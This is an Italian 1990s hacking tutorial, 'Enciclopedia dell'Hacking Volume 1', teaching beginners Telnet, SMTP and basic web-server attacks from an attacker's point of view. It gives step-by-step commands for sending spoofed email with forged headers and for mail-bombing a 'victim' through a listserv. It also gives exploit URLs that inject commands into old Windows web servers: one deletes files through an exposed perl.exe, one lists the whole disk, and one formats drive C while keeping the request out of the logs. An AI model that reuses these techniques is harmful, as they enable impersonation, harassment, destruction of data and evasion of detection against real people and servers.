<=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=>
<=-=>   <=-=>
<=-=>   -=> Lord Shinva <=-   <=-=>
<=-=>   <=-=>
<=-=>   -DiGiTAL::ALLiANCE-   <=-=>
<=-=>   <=-=>
<=-=>   C : 0 . N : F . E : D . E : R . A : T . i : 0 . N   <=-=>
<=-=>   <=-=>
<=-=>   <=-=>
<=-=>   Enciclopedia dell'Hacking   <=-=>
<=-=>   ``````````````````````````   <=-=>
<=-=>   .:[Volume 1]:.   <=-=>
<=-=>   <=-=>
<=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=>

INDICE

PREFAZIONE

~~~~~~~~~~

In seguito alle moltissime richieste di informazioni sull'hacking, noi del D.A.C. abbiamo deciso di scrivere una serie di "volumi" sull'argomento, per spiegare in modo semplice e graduale le basi dell'Hacking.

Le informazioni che ci accingiamo a darvi con la presente "Enciclopedia" sono solo a scopo informativo.
L'autore, Lord Shinva, declina ogni responsabilità per l'uso di queste informazioni.
L'autore si riserva inoltre la possibilità di ritardare o interrompere in qualsiasi momento la pubblicazione di questa serie di documenti in caso di uso improprio degli stessi.

GLOSSARIO

~~~~~~~~~

- IP Address

Indirizzo numerico composto da quattro numeri (ad esempio 123.45.67.8) che identifica il vostro computer sulla rete. Un IP Address è unico e corrisponde ad un Host Name

- Host Name

Nome in formato standard Internet di un sito. Ad esempio sarà del tipo www.prova.com per un provider o un sito generico, mentre nel caso di un collegamento via modem di un utente al suo provider potrà somigliare a ppp14-ro.provider.it.
Le estensioni più usate sono: .com sito commerciale ("com") generico
.org organizzazione ("org") senza fini di lucro
.mil sito militare ("mil") USA
.net rete (in inglese "net") sito generico
e i vari .it (Italia) .uk (Inghilterra) .ca (California), ecc.

- Client

Programma "cliente", usato da un utente per collegarsi ad un servizio.
Ad esempio, Netscape e Microsoft Explorer sono client per collegarsi al servizio Web (HTTP), Eudora è un client per collegarsi al servizio e-mail (SMTP/POP3), Cute FTP e WS-FTP sono client per collegarsi a FTP, e cosi` via. E` in pratica un programma che viene usato per comunicare con un server.

- Server

Programma che svolge un servizio e si occupa di rispondere ai client. Ad esempio, i provider hanno un Web Server per offrirvi la possibilità di collegarvi ad Internet tramite il Web.

- Protocollo

Insieme di regole per la gestione di un servizio Internet come web, email

- Servizi: nomi tecnici
I servizi disponibili su Internet sono: Web (pagine ipertestuali), FTP (trasferimento file), e-mail, news, IRC, ecc.
Ecco alcuni nomi tecnici e relativo servizio:
HTTP è il nome del protocollo del web
SMTP e-mail, posta in uscita
POP3 e-mail, posta in arrivo

IMAP e-mail, è un altro tipo di posta in arrivo, meno usato

- DNS (Domain Name Server)

E' la funzione svolta da un computer situato sulla rete che si occupa di risalire a un IP Address da un Host Name e viceversa (se ad esempio volete conoscere l'IP Address di www.prova.com utilizzando il DNS otterrete una risposta del tipo 123.45.67.8, ma è anche possibile fare il contrario).
L'operazione per la quale si risale dall'IP Address (numerico) all'Host Name (nome) viene detta Reverse DNS.
Il DNS viene utilizzato automaticamente da tutti i programmi per Internet, in quanto Internet non "capisce" gli Host Name, e ha bisogno di conoscere il relativo IP Address per riuscire a collegarsi ad un sito (Host).
E' anche possibile utilizzarlo volutamente, per risalire a qualcuno, ecc.

FONDAMENTI

~~~~~~~~~~

Prima di iniziare con l'hacking vero e proprio è necessario iniziare con una breve lezione sull'anonimità.

Infatti, quando effettuate un'operazione qualsiasi sulla rete, lasciate tracce di voi ovunque.
Questo è particolarmente vero per il web, in quanto ogniqualvolta ci si collega ad un server o si inviano dati vengono automaticamente trasmesse informazioni come: da quale server (e quindi da quale città) si sta chiamando, il nome ed il produttore del programma che si sta usando, quale sistema operativo è installato sul vostro PC, il vostro IP address, qual'è l'ultimo sito visitato, se, quando e quante volte ci si è collegati ad un sito, e talvolta anche il proprio indirizzo di e-mail.

Mentre lasciare simili informazioni in giro può non costituire un pericolo per un utente qualsiasi, per un hacker la cosa diventa alquanto pericolosa. In pratica è come se lasciaste un biglietto da visita (beh... quasi un curriculum!) ad ogni collegamento che effettuate.

Molti siti utilizzano anche un comodo meccanismo di identificazione messo a disposizione dei browser (Netscape, Internet Explorer, Mosaic) che li aiuta ad identificarvi anche a distanza di tempo, e può rivelare loro la frequenza con cui visitate dei siti, IP address, ed altre informazioni che non vorreste dare. Il file in questione è denominato "cookie". Se usate Netscape lo troverete nella directory del browser con l'innocuo nome di "cookies.txt". Non è altro che un semplice file di testo, come questo che state leggendo. Basterà eliminarlo dopo ogni collegamento per eliminare le informazioni che esso può rivelare. Se utilizzate siti che richiedono accesso con password può darsi che il cookie contenga delle informazioni necessarie al vostro collegamento: in tal caso basterà editare il file ed eliminare solo le righe che non contengono il nome del sito in
questione.

I "cookies" possono essere disabilitati in alcuni browser (come Netscape). Lo stesso vale per altre tecnologie ancor più pericolose (per la privacy), come Java e JavaScript. Rendono più allegre le pagine Web... e ancor più allegri quelli che vogliono sapere chi, come e quando si collega a una pagina.

Un mezzo molto usato fino a poco tempo fa per nascondere le proprie tracce sul Web era l'Anonimizzatore (http://www.anonymizer.com), ma mentre prima era gratuito ora è diventato a pagamento. Lo si può ancora utilizzare, ma prima di visualizzare la pagina Web desiderata, l'utente è costretto ad attendere circa mezzo minuto. Inoltre questo servizio è ora in grado di riconoscere un tentativo di hacking e si rifiuta di eseguire il collegamento.

Per quanto riguarda invece le e-mail (posta elettronica) il discorso cambia.

In realtà, un hacker non usa quasi mai altro che un solo programma: Telnet. Se non siete ancora in possesso di un client (programma utente) Telnet vi consiglio di prelevarlo al più presto dalla rete (ad esempio, cercando su http://www.shareware.com).
Telnet non è altro che un servizio di banca dati, con messaggi, programmi e cose del genere, proprio come nelle vecchie BBS.
~~~~~~~~~~

Ma perché utilizzare proprio Telnet?

In realtà, un client Telnet fa poco più che collegarsi a un server, inviargli tutto quello che scrivete e mostrarvi tutto quello che riceve dal server.

Può in effetti sostituire (limitatamente) un qualsiasi altro client.

Un esempio: quando usate un browser (Netscape, Explorer, ecc.) per collegarvi ad un sito Web, il programma non fa altro che svolgere una sessione Telnet. In parole semplici: invia un comando simile a "dammi il file xxxxx" e aspetta che il server glielo invii.
Lo stesso accade con FTP, e in modo appena diverso per la posta elettronica.

Come vediamo, quindi, usando Telnet noi possiamo impersonare un qualsiasi programma client, parlando al server e leggendo le sue risposte.

Ma per quale motivo dovremmo farlo? E` presto detto.

Soffermiamoci un momento su questa cosa: un servizio, ad esempio e-mail, è stato progettato perché dall'altro capo della connessione ci sia un programma client che segua certe regole (ad esempio Eudora per la posta).

Ma cosa succede se invece di un programma c'è un hacker che "finge" di essere il programma e invece di seguire le regole standard fa altre cose non previste?
Succede che si può sovvertire il servizio, e si possono fare le cose più disparate.

Alcuni esempi: sovvertendo e-mail si può inviare posta elettronica "falsa" (detta FakeMail) che sembri provenire da chiunque noi vogliamo, sovvertendo il Web si può crashare (da "crash": distruggere, in senso virtuale) un server, con FTP si può ottenere un livello di anonimità elevatissimo ed è possibile infiltrarsi anche dove non si è desiderati, e cosi` via; per praticamente ogni servizio esistente vi sono delle tecniche applicabili.

E infine, con quasi tutti i servizi (e in particolar modo con la SMTP) esistono dei modi per ottenere il tanto agognato accesso "root", in pratica il livello dell'amministratore di sistema (detto SysAdmin) che può fare *qualsiasi* cosa: creare, aggiungere o eliminare account, file e directory, utenti con qualsiasi livello d'accesso, leggere la posta e i file degli utenti, attivare e disattivare servizi, modificare programmi...

Nel prossimo volume ci occuperemo della falsificazione e identificazione di posta elettronica e news.

TELNET E SMTP

~~~~~~~~~~~~~~

Supponiamo di voler, per un motivo qualsiasi, inviare una e-mail a qualcuno facendo sembrare che essa sia stata mandata da qualcun altro.

Il metodo più semplice è utilizzare uno dei siti per hackers che offrono la possibilità di inviare FakeMail (basta cercare questa parola in un motore di ricerca su Internet, ad esempio www.yahoo.com ha una sezione apposita per FakeMail e posta anonima).

Ma per ora tralasciamo i siti e vediamo in pratica come funziona la tecnica delle FakeMail (che tra l'altro è applicabile, in modo diverso, anche alle news).

Il motivo per cui la studieremo è che provandone il funzionamento, ne approfitteremo per imparare ad utilizzare Telnet e soprattutto SMTP, ovvero il servizio della posta in uscita.
Questa è infatti la base per capire come funzionano molte delle tecniche più utilizzate, e vi permetterà, quando sarete padroni della materia, di implementarne di nuove.

Iniziamo dunque imparando ad usare Telnet.

Usandolo per collegarvi a un sito semplicemente inserendo un host name, vi collegherete al servizio Telnet. Ma abbiamo detto che non è questo il nostro obiettivo. A noi interessa il servizio SMTP. Dunque, come fare per accedervi?

Bisognerà inserire, oltre all'indirizzo del server a cui vogliamo collegarci, anche un numero di "porta". Ma cos'è una porta?
Se riflettete, ogni server ha un unico indirizzo "centrale" (nome.com) ma gestisce molti servizi (web, ftp, posta...). Di conseguenza dovrebbe avere altrettanti server su altrettanti indirizzi diversi.

Per evitare un proliferare di indirizzi inutili esistono le porte, in pratica nient'altro numeri a cui sono associati i vari servizi.
Vogliamo collegarci a SMTP? Basta utilizzare la porta 25. Ci interessano le news? La porta è 119. Oppure FTP, porta 21... sono tutti numeri "fissi" (standard) e quindi, tranne in rarissimi casi, collegandosi - per esempio - alla porta 25 ci risponderà sempre SMTP.

NOTA: se avete Winsock potete leggere il file "services", contenente i numeri delle porte più usate. Il file si troverà nella directory di Winsock.

Ora che abbiamo chiarito il discorso delle porte, supponiamo di volerci collegare a SMTP usando Telnet. Scegliamo un server qualsiasi (sono davvero rari i casi in cui un server non gestisca la posta) e, in base al programma usato, dovremmo operare differentemente.
La maggior parte di essi funziona in questo modo: per collegarsi a SMTP del server prova.it bisogna inserire prova.it:25 come nome del server. Alcuni invece non prevedono l'uso dei due punti per delimitare nome e porta, ma hanno uno spazio in cui inserire, separatamente, il numero o il nome del servizio.

Dunque, una volta connessi a prova.it:25 avremo un messaggio di questo tipo:

220 prova.it Sendmail x.x/x.x 11/11/97 ready at Mon, 30 Oct 97 06:22:19 -0200

e niente altro. Il server sta ora aspettando comandi da parte nostra.
La prima cosa da fare è identificarsi, e ciò va fatto con il comando HELO in questo modo:

HELO nomeprovider.it
~~~~~~~~~~~~~~

sostituendo nomeprovider.it con il nome del nostro provider.

NOTA: usando Telnet *NON* è possibile cancellare. Quindi digitate senza fretta, e se proprio sbagliate riavviate la connessione e ripetete tutto, oppure - in alcuni casi - può essere sufficiente premere invio e riscrivere la riga da zero. Non cancellate, anche se sembra funzionare. I risultati possono essere imprevedibili e potreste rivelare la vostra identità.

Talvolta è possibile inserire un nome falso, ma i nuovi server conoscono già il vostro IP Address quando vi collegate, quindi tanto vale inserire il vero nome.

La risposta sarà:

250 prova.it Hello NOMEPROVIDER.IT, pleased to meet you

A questo punto dovremo dire al server qual'è il nostro indirizzo di e-mail. Usiamo allo scopo il comando "MAIL FROM" e digitiamo:

MAIL FROM:

...ovviamente l'indirizzo da inserire è quello falso =)
Il server risponderà con un messaggio. Se avremo sbagliato qualcosa, sarà un messaggio d'errore, e dovremo ripetere l'immissione.

A questo punto dobbiamo scegliere la nostra "vittima", che supponiamo essere vittima@lamer.it. Usiamo il comando "RCPT TO" e scriviamo:

RCPT TO:

Il server risponderà con un altro messaggio.

Ed ora che abbiamo definito sorgente e destinazione passiamo all'invio delle intestazioni e del corpo del messaggio.
Avvisiamo il server che siamo pronti, scrivendo:

DATA

e il server ci dirà di scrivere il messaggio e di concludere con un punto su una riga vuota.

Fermiamoci un attimo. In ogni e-mail esistono delle intestazioni (headers) che si trovano prima del corpo del messaggio vero e proprio. Il loro scopo è elencare tutti i computer attraverso i quali è passato il messaggio, nonchè il nostro IP Address! Ciò potrebbe rivelare la nostra identità a un hacker o a un SysAdmin esperto. Per evitarlo, digitiamo:

Received: by nomeprovider.it id AA11212 with SMTP; Sun, 12 Oct 97 13:40:58

dove nomeprovider.it è il nome del vostro provider (quello che avete usato con HELO) e l'ultima parte (Sun, 12 Oct...) è la data in formato standard.
ID AA11212 va cambiato. Potete mettere un numero qualsiasi (possibilmente che inizi con AA1 più altre 4 cifre, per farlo sembrare più reale).
Si tratta solo di un numero di serie del server, niente di importante.

Ora dobbiamo digitare:

Message-ID: <123.AA11345@microsoft.com>

Ciò serve a far credere che il messaggio sia partito effettivamente dal server "microsoft.com" con l'ID AA11345 (può essere un numero qualsiasi, purché NON uguale a quello inserito prima con l'intestazione "Received:").

Inseriamo ora di nuovo il destinatario, la data e il soggetto della e-mail:

To:
Date: Sun, 12 Oct 97 11:30:27
Subject: questa è una prova...

Lasciamo uno spazio e scriviamo il messaggio che vogliamo inviare (lungo quanto vogliamo). Per concludere il messaggio lasciamo due righe vuote, digitiamo un punto, premiamo invio, scriviamo QUIT e invio.
La FakeMail verrà inviata automaticamente dal server, e noi possiamo anche chiudere Telnet.

E` importante inviare a se stessi dei messaggi di prova per vedere se il server scelto ha ricevuto i dati correttamente, se non sono stati commessi errori e, soprattutto, per vedere se il proprio IP Address si trova in mezzo alle intestazioni "Received:", oppure (sbagliato) alla fine.

Ora che sappiamo come fare ad inviare una FakeMail, possiamo passare al passo successivo: usare le FakeMail per far danni... vogliamo seppellire la mailbox di qualcuno?
Creiamo una normale FakeMail con il metodo spiegato sopra, ma come mittente dovremo inserire l'indirizzo e-mail della vittima e come destinatario usiamo un "listserv" (come ad esempio listserv@brownvm.brown.edu).
Un Listserv è un programma che invia programmi tramite e-mail nel caso non si riesca a prelevarlo via FTP.

Se ad esempio sappiamo che nella directory "mieifiles" del server pluto.it c'è un file di 20 megabyte il cui nome è "enorme.gz" possiamo fare in modo che quei 20 MB vengano inviati sotto forma di testo nella e-mail della nostra vittima...
Nell'esempio di cui sopra, dopo aver scritto i primi comandi della FakeMail,
arrivati a "Subject:" scriviamo quanto segue:

REPLY vittima@lamer.it
CONNECT pluto.it anonymous indirizzo@falso.com
BINARY
GET mieifiles/enorme.gz
QUIT

e concludiamo quindi con le due righe vuote, il punto, QUIT, ecc.

Ecco la spiegazione passo passo:

REPLY indica l'indirizzo e-mail a cui rispondere CONNECT specifica il nome del provider a cui collegarsi e l'account da usare BINARY specifica un file di tipo binario (non va cambiato) GET specifica il nome del file da prelevare (completo di eventuali directory) QUIT termina la connessione

Ovviamente, se dopo GET anzichè QUIT usiamo altri GET, il risultato sarà molto più dannoso. Nel caso di un file di 20 MB, riscrivendo altre 10 volte il comando "GET ..." verranno mandati un totale di ben 200 megabyte al povero utente destinatario!
E poichè i server di e-mail spezzano i messaggi in tanti piccoli messaggi, la vittima riceverebbe migliaia e migliaia di messaggi...
E` un buon motivo per non dare in giro il proprio indirizzo di e-mail, no?

Nel prossimo volume impareremo a scrivere messaggi totalmente anonimi, a riconoscere un messaggio falso da uno vero e ad identificare il computer da cui è partito un attacco.
Più in là spiegheremo anche come rendersi al 100% invisibili utilizzando tecniche estremamente raffinate.

EMAIL E IDENTIFICAZIONE

~~~~~~~~~~~~~~~~~~~~~~~~~

Per concludere il nostro studio su FakeMail e messaggi anonimi, vedremo ora come riconoscere una e-mail "vera" da una "falsa", come identificarne (in parte) l'autore, e come utilizzare i remailer anonimi per un'anonimità di livello elevatissimo.

Per poter studiare un messaggio dobbiamo necessariamente essere in grado di leggerne gli "headers" (intestazioni), cioè quelle righe che iniziano con la parola "Received:" e simili, che si trovano prima del corpo del messaggio vero e proprio).

Visualizzare gli headers è semplice: ogni programma di posta elettronica ha un'opzione (in genere nel menù) per attivare/disattivare la visualizzazione degli stessi.
Netscape Mail, ad esempio, ha la voce "Show Headers" nel menù "Options", mentre con "Internet Explorer" è necessario cliccare sul titolo dell'e-mail da analizzare, quindi premere il tasto destro e scegliere l'ultima voce (Properties, ovvero Proprietà). Eudora ed altri client hanno una funzione simile a quella di Netscape Mail (nei menù).

Prendiamo dunque ad esempio questa e-mail, di cui visualizziamo gli headers:

```
Received: from posta.hackers.it (111.123.33.4) by provider.it via mtad (2.3)
   id mx03-Biqmta0276; Mon, 27 Sep 1997 06:45:07 -0600 (MDT)
Received: from america.com ([123.45.67.89]) by posta.hackers.it
   (post.office MTA v1.9.3b ID# 0-12345) with SMTP id AAA187
   for ; Mon, 27 Sep 1997 14:34:21 +0200
From:
To:
Subject: test...
```

Analizziamone ora gli headers: il primo (Received) è lungo due righe, in quanto ogni header inizia con una parola chiave seguita dai due punti, e nel secondo rigo non esiste una prima parola, nè i due punti; ne deduciamo perciò che è il seguito della riga superiore.

L'header "Received" ci informa del percorso seguito dall'e-mail da quando è stato generato a quando l'abbiamo ricevuto. Normalmente ce n'è più di uno e sono disposti in ordine inverso (il primo rappresenta l'ultimo computer in cui è arrivata l'e-mail - con ogni probabilità il nostro o quello del nostro provider - e l'ultimo Received rappresenta il computer "mittente").
Infatti, ogni volta che un server riceve una e-mail, aggiunge un "Received" in *cima* alle altre intestazioni già presenti.

Tornando alla nostra e-mail, vediamo perciò che l'ultimo "Received" ci informa che il computer america.com ha l'IP Address 123.45.67.89 e ha mandato questa e-mail al server posta.hackers.it usando SMTP.
Guardando l'header successivo (sopra) notiamo che poi il messaggio è stato mandato a sua volta da posta.hackers.it (che vediamo avere un IP Address pari a 111.123.33.4) a provider.it, che è il server destinatario (il nostro).
Infatti, se guardiamo l'header "To:" vediamo che destinatario finale è utente@provider.it.
Il mittente, stando all'header "From:", dovrebbe essere mittente@america.com
ma come sincerarsene?

Utilizzando il programma Finger possiamo sapere se l'utente "mittente" esiste su "america.com", ma utilizzando Finger non possiamo sapere se sia stato effettivamente lui a mandare il messaggio o meno.

Ricorriamo perciò ancora una volta all'analisi degli header "Received".
Il primo header, quello che ci informa da CHI è stato inviato il messaggio, corrisponde all'ultimo header (cioè al secondo "Received").
~~~~~~~~~~~~~~~~~~~~~~~~~

Da li` scopriamo che il computer mittente è america.com con IP 123.45.67.89 e dell'IP possiamo essere sicuri... ma non possiamo fidarci di "america.com" e l'unico modo per sapere se effettivamente Host Name e IP Address coincidono è utilizzare un programma DNS. Basterà inserire l'IP Address per conoscere l'Host Name ad esso corrispondente.

Questo metodo è di estrema importanza, in quanto se da un lato non ci permette di scoprire l'autore, almeno potremo sapere quale computer è stato usato per inviare e-mail, news, ecc. Molti provider di posta elettronica gratuita (come Hotmail e Netaddress) e non, permettono di bloccare l'invio di e-mail che provengono da un determinato "dominio" (es. provider.it), ma per farlo è necessario conoscerne l'Host Name oppure l'IP Address.
Quando si effettua un mail-bombing usando Kaboom, Up Yours o altri programmi del genere, si lascia dunque in modo indelebile il proprio IP Address nelle e-mail. L'unico "lato buono" è che inviando alcune migliaia di e-mail a un indirizzo, *probabilmente* il proprietario della mailbox non riuscirà a scaricarle tutte (o non vorrà farlo) e non potrà perciò analizzarne le intestazioni per scoprire il colpevole ;)
In ogni caso con i servizi di e-mail tramite Web, o con programmi ad hoc è possibile scaricare un singolo messaggio e analizzarlo, quindi è bene lasciare il mail-bombing ai lamers che non hanno nient'altro da fare...

Il motivo per cui programmi come Kaboom e Up Yours si dichiarano "100% non rintracciabili" è perché la lista dei server SMTP inclusa in essi contiene per lo più vecchi server che non registrano l'IP Address di chi si collega. Ma tali server sono stati sfruttati, hackerati, bombardati e sovraccaricati di e-mail in uscita, e sono stati perciò disattivati o hanno cambiato nome. In ogni caso, tutti i più nuovi server SMTP registrano (purtroppo) l'IP e in alcuni casi sono addirittura in grado di riconoscere un tentativo di FakeMail e rispondere "sfottendo"... :-}

Supponiamo ora che anzichè utilizzare e-mail false vogliamo scriverne una anonima per rispondere a qualcuno senza essere rintracciati, o magari per partecipare a un Newsgroup in maniera del tutto anonima.

Esiste un servizio, quello dei cosiddetti "remailer", per inviare posta completamente anonima (senza mittente e senza alcuna traccia di IP Address o altro).

NOTA: Per una lista completa con tutte le informazioni come: velocità, caratteristiche e affidabilità basta cercare le parole "anonymous remailer" con un qualsiasi motore di ricerca sul Web.

Usarli nella loro forma più semplice (senza criptazione e senza re-routing multipli) è facile, basta inviare una normalissima e-mail (con qualsiasi programma di posta elettronica) all'indirizzo e-mail di un remailer.
Ad esempio, remailer@replay.com (oppure remailer@huge.cajones.com o ancora remailer@cypherpunks.ca) e, PRIMA del messaggio inserire una riga vuota, una coppia di due punti e altre informazioni, come segue:

::
Request-Remailing-To: destinatario@email.com

Questa è una prova....

Dunque l'indirizzo del destinatario NON va inserito come destinatario.
Come destinatario useremo l'indirizzo del remailer, mentre quello del vero destinatario andrà scritto a fianco a "Request-Remailing-To".

Questo è quanto per le e-mail anonime. Come fare, invece, per inviare delle news anonime? Seguendo lo stesso procedimento, ma usando come destinatario un "gateway" (passaggio) mail-news. A cosa serve? Inviando un messaggio al gateway, questo lo invierà a sua volta alle news.
Volendo mandare un messaggio al Newsgroup alt.hackers basterà sostituire i punti con dei trattini e aggiungere l'indirizzo del gateway (ad esempio cs.utexas.edu) quindi il risultato sarà alt-hackers@cs.utexas.edu al quale manderemo il nostro messaggio tramite remailer.

Aggiungiamo ora alcune informazioni per completare il capitolo.

Sul Web esistono vari siti per FakeMail che non registrano IP Address. Uno molto veloce è (al momento in cui si scrive) MailMan al seguente indirizzo: http://www.nettex.com/~thecap/

Per quanto riguarda la posta anonima tramite remailer, ne esistono anche sul Web. Per chi preferisse le Form ai programmi di posta elettronica basterà cercare, come detto prima, dei remailer usando i motori di ricerca.
Un indirizzo tra i più affidabili: http://www.replay.com/remailer/

NOTA: questi siti sono attivi non per arrecare danni, ma per fornire un servizio a quanti vogliono preservare la propria privacy elettronica.
Abusandone potreste mettere voi nei guai, o causare la chiusura del servizio.
Inoltre molti remailer possono negarvi l'accesso al servizio in caso di proteste da parte di terzi. In altre parole, usate il cervello...

INTRODUZIONE ALLE TECNICHE DI BASE

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Le tecniche che inizieremo a vedere da questo capitolo in poi sono quelle di base per poter comprendere quelle più complesse.
Inoltre nella spiegazione di ciascuna tecnica ne approfitterò per spiegare altri argomenti che normalmente in qualsiasi guida sull'hacking, in italiano o in inglese, sono lasciati alla... immaginazione del lettore.

Dunque. In questo volume vedremo delle semplici tecniche relative alla sicurezza (da un punto di vista hacker) dei server Web.

Credo (e spero) che sappiate già usare un browser e i vari programmi... in caso contrario vi consiglio vivamente di lasciar perdere l'hacking e iniziare con qualcosa di più semplice, come accendere e spegnere il computer...

TECNICHE DI BASE: I WEB SERVER - PARTE 1

~~~~~~

Molti metodi usati in passato per hackerare un sito Web si basavano su dei problemi di sicurezza pre-esistenti causati dalla scarsa competenza dei Webmaster e dei SysAdmin. Ad esempio, un classico errore era lasciare programmi che hanno funzione di interpreti di comandi, come ad esempio il Perl (file perl.exe) accessibili a chiunque tramite Internet. Dal momento che tali programmi accettano parametri, se avessimo voluto cancellare l'intero contenuto di una directory avremmo potuto eseguire il comando di eliminazione semplicemente collegandoci all'URL (indirizzo Web).

Nel nostro esempio, dal momento che il linguaggio in questione è il Perl, il comando per eliminare la directory è "unlink <*>" (senza gli apici).
Per "dire" al Perl di eseguire un comando va usata l'opzione "-e".
Il comando completo sarà quindi: perl.exe -e unlink <*>

Ora supponiamo che il povero Webmaster :) abbia lasciato perl.exe nella directory cgi-bin (dove si trovano quasi tutti i programmi usati su un sito).
Non dovremo fare altro che collegarci dal nostro browser a questo indirizzo:

http://www.nomesito.com/cgi-bin/perl.exe?-e+unlink+%3C*%3E

Ecco cosa stiamo facendo: http://www.nomesito.com/cgi-bin/perl.exe non è altro che l'indirizzo del programma da eseguire; il punto interrogativo ci consente di passare dei comandi qualsiasi al programma (probabilmente lo avrete già visto quando vi collegate ai motori di ricerca); infine, come già detto prima, "-e" dice al Perl di eseguire il comando che segue.
I segni + non sono altro che gli spazi. Poichè negli URL non si usano spazi vanno usati i + al loro posto.

Ora troviamo la parola unlink, un altro + (spazio) e poi %3C*%3E ...cos'è?
Se guardate più sopra, vedrete che il comando da eseguire era unlink <*>
Non abbiamo fatto altro che sostituire < con il suo codice ASCII in notazione esadecimale (3C preceduto da % per indicare che è un codice ASCII) e lo stesso abbiamo fatto per > mentre l'asterisco è rimasto uguale.
Ovviamente non dovrete imparare i codici a memoria, vi basterà trovare una tabella ASCII come quelle che si trovano sui libri di informatica e di programmazione, o in alcune piccole utility. Se non l'avete, prima di proseguire è assolutamente necessario che ve la procuriate.

Dicevamo... perché questi cambiamenti?

Perchè esistono delle regole per "scrivere" un URL: caratteri come / e \ (detti slash e backslash), le parentesi e le virgolette, gli spazi e quasi tutta la punteggiatura in genere (ad esclusione di + - e pochi altri simboli) vanno *sempre* sostituiti con il relativo codice ASCII. Tutti gli altri caratteri possono rimanere invariati.
Dunque quando dovremo scrivere uno dei simboli sopra descritti non bisognerà fare altro che cercarne il codice in esadecimale e scriverlo al suo posto, mettendo un simbolo di percentuale prima del codice.
Tali codici sono detti di "escape".

In modo analogo, un server Web come il Microsoft IIS per Windows (versioni dalla 1.x alla 2.0b) oppure il server di Windows NT 3.x può essere "forzato" ad eseguire dei comandi arbitrari, come ad esempio:

http://www.nomesito.com/cgi-bin/scrivimi.bat?&dir+c:\+%5Cs

In questo caso scrivimi.bat è un file batch (.bat).
E` molto facile da scoprire se un server utilizzi tali file, in quanto basta dare un'occhiata alle pagine Web di un sito (e magari al loro listato) per scoprire se vi sono riferimenti ad essi.
Ovviamente il trucco funziona solo con i server sopra elencati (per Windows) e con pochissimi altri. Inoltre le nuove versioni hanno corretto questo problema.

Il "bug" (errore) in questo caso risiede nella gestione dei files batch.
Come vediamo, aggiungendo ?& al nome del file e poi scrivendo i comandi da eseguire, il server crederà di stare eseguendo ancora il file batch e in realtà farà ben altro... nel nostro caso, il comando codificato è il seguente: dir c\ /s (dove / è stato sostituito con il suo codice, %5C).
Avremo quindi come risultato di tale comando l'elenco completo di *tutte* le directory e i file presenti sul server (utile per sapere dove mettere le mani se cerchiamo qualcosa in particolare o vogliamo modificare qualcosa).

Quelle descritte non sono vere e proprie tecniche hacker: sono degli exploit per poter sfruttare i problemi di sicurezza conosciuti a nostro vantaggio.
Le trattiamo anche perché non si può imparare qualcosa di complesso senza conoscere le basi e i ragionamenti che sono dietro un exploit.

Tali exploit sono ampiamente discussi e spiegati (in inglese) su Internet e a volerli spiegare tutti non basterebbero 100 volumi di questa enciclopedia.
Ecco perché vi invito fin d'ora ad "avventurarvi" sulla Rete, a cercare e a provare... e soprattutto a imparare l'inglese (se non lo conoscete già), perché la stragrande maggioranza delle documentazioni e dei siti che possono insegnarvi qualcosa (come il mitico Silicon Toad... http://www.silitoad.org oppure come Hackers Underground... http://www.underground.org) è, che lo vogliate o meno, in inglese. In una parola: LEGGETE.

Comunque l'obiettivo di questi volumi non è certo insegnarvi dei trucchi.
Possono essere molto utili, talvolta indispensabili. Ma l'hacking è ben altro, e si avvale dell'uso di tecniche raffinate che l'hacker sceglie in base alle proprie esigenze e in base al suo personale modo di hackerare.

Se noteremo abbastanza interesse da parte vostra, l'autore (cioè io, Lord Shinva) continuerò a scrivere questi volumi e presto conto di poter iniziare con l'hacking propriamente detto. Se invece li considerate una perdita di tempo, ne interromperemo la pubblicazione.

Per chi voglia comunicarci la propria opinione in merito, l'indirizzo di e-mail è Lord.Shinva@usa.net (consigli, critiche, richieste di argomenti da trattare e proposte di collaborazione sono bene accetti).

TECNICHE DI BASE: I WEB SERVER - PARTE 2

~~~~~~

Come abbiamo visto, molti server Web per Windows (come Microsoft IIS oppure Windows NT server) possono essere utilizzati per eseguire comandi arbitrari utilizzando lo schema seguente:

```
[URL].../nomescript.bat?&comando_1+comando_2+...+comando_N
```

E` bene notare che i server Web registrano in uno o più file (detti "log") tutte le operazioni effettuate, e quindi nel caso utilizzassimo l'hack sopra descritto esso verrebbe senza dubbio registrato, insieme al nostro IP Address e ad altre informazioni.

Per evitarlo, possiamo fare due cose. Una possibilità è aggiungere alla fine dell'URL contenente i nostri comandi, il comando "time" oppure "date", in questo modo:

```
http://www.sito.com/cgi-bin/prova.bat?&echo+S+%7C+format+c%3A+%2Fu+time
```

Procediamo ora con la spiegazione di questo URL. Il comando eseguito è:

```
echo S | format c: /u
```

seguito dal comando "time", che vedremo dopo. Il comando "format c:" come sappiamo serve a formattare un disco, in questo caso l'hard disk "C", mentre "/u" indica a "format" di procedere con una formattazione incondizionata, cioè senza salvare i dati presenti sul disco... ma "format", una volta eseguito, chiede all'utente di premere un tasto: S (si) oppure N (no), e non farà nient'altro fino a che non avrà uno dei due input.
Per ovviare all'inconveniente, non potendo noi digitare "S" sulla tastiera del computer che vogliamo hackerare, utilizziamo "echo S" seguito da "|".
In pratica "|" (detto "pipe") serve ad inviare l'output del comando "echo" (il carattere "S") al comando successivo (format), simulando la pressione del tasto. Abbiamo cosi` risolto il problema.

Una funzione non documentata del comando format è l'opzione "/autotest".
Tale opzione corrisponde in pratica alla riga di comando sopra descritta, e quindi potremo (solo nel caso di format) fare a meno di echo, pipe e "/u" scrivendo "format c: /autotest" (NON scrivetelo sul vostro computer).
L'hard disk verrà formattato senza chiedere alcunchè all'utente.

Ma ora torniamo al comando time (oppure date). Perchè l'abbiamo aggiunto?

I server registrano le operazioni nei log solo DOPO che tali operazioni siano state effettivamente eseguite. Ad esempio, quando un URL viene "chiamato" e abbiamo ricevuto il contenuto della pagina ad esso associata.
Per impedire al server di terminare l'operazione (e quindi di registrare l'URL hackerato e il nostro IP nel file di log) usiamo quindi time o date. Come sappiamo questi due comandi non fanno altro che cambiare ora o data, e a tale scopo chiedono all'utente il nuovo valore (l'orario, nel caso di time) all'utente. Ma dal momento che il server non sa rispondere ai comandi ;) la loro esecuzione non potrà essere completata, il log non verrà scritto e noi avremo ottenuto quello che volevamo... segretezza :)

